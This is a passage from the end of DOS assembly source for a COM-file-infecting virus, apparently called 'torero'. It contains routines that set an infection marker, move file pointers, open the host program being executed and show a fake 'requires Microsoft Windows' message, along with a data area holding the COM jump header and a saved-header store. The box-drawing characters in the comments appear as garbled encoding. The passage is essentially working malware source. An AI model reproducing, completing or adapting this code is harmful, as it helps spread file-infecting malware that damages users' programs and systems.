; <20>Ĵ Set our infection mark <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
set_marker: mov byte ptr es:[di+4],80h ; Attribute bit 8
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Lseek to the start of the file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
lseek_start: mov word ptr es:[di+15h],0 ; Read pointer=0
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Lseek to the end of the file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
lseek_end: mov word ptr es:[di+15h],ax ; Read pointer=file
|
|||
|
ret ; length (EOF)
|
|||
|
|
|||
|
; <20>Ĵ Open the host we're being executed from <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
open_host: mov ah,62h ; Get PSP address
|
|||
|
int 21h
|
|||
|
|
|||
|
push es
|
|||
|
mov ds,bx
|
|||
|
mov bx,word ptr ds:[2ch] ; DS:2ch=PSP segment
|
|||
|
mov es,bx
|
|||
|
xor di,di
|
|||
|
|
|||
|
mov al,1 ; Look for 01h (the
|
|||
|
mov cx,0ffffh ; mark which sepparates
|
|||
|
repnz scasb ; the path from the
|
|||
|
jnz emergency ; name of the file that
|
|||
|
; is being executed)
|
|||
|
xor al,al
|
|||
|
scasb
|
|||
|
|
|||
|
push es
|
|||
|
pop ds es
|
|||
|
|
|||
|
mov ah,3dh ; Open the host
|
|||
|
mov dx,di
|
|||
|
call int_21h
|
|||
|
xchg bx,ax ; Pass handle to BX
|
|||
|
ret ; and return
|
|||
|
|
|||
|
; <20>Ĵ Emergency routine... data lost! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
emergency: push cs ; CS=DS
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ah,9 ; Show the message...
|
|||
|
lea dx,windows ; This programs requires
|
|||
|
int 21h ; Microsoft Windows
|
|||
|
|
|||
|
mov ax,4c01h ; Errorlevel=01 :)
|
|||
|
int 21h
|
|||
|
|
|||
|
; <20>Ĵ Data area <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sector db 200h dup (?) ; The long sector
|
|||
|
|
|||
|
control_block dd ? ; Control block
|
|||
|
dw ?
|
|||
|
garbage dd ?
|
|||
|
db ';)'
|
|||
|
|
|||
|
windows db 'This program requires Microsoft Windows.'
|
|||
|
db 0dh,0ah,'$'
|
|||
|
|
|||
|
action db ? ; Reading or writing?
|
|||
|
infecting db ?
|
|||
|
|
|||
|
com_header db 0e9h,?,? ; The COM header
|
|||
|
header_store db 3 dup (?) ; Temporal header store
|
|||
|
|
|||
|
torero_end label byte
|
|||
|
|
|||
|
torero ends
|
|||
|
end torero_start
|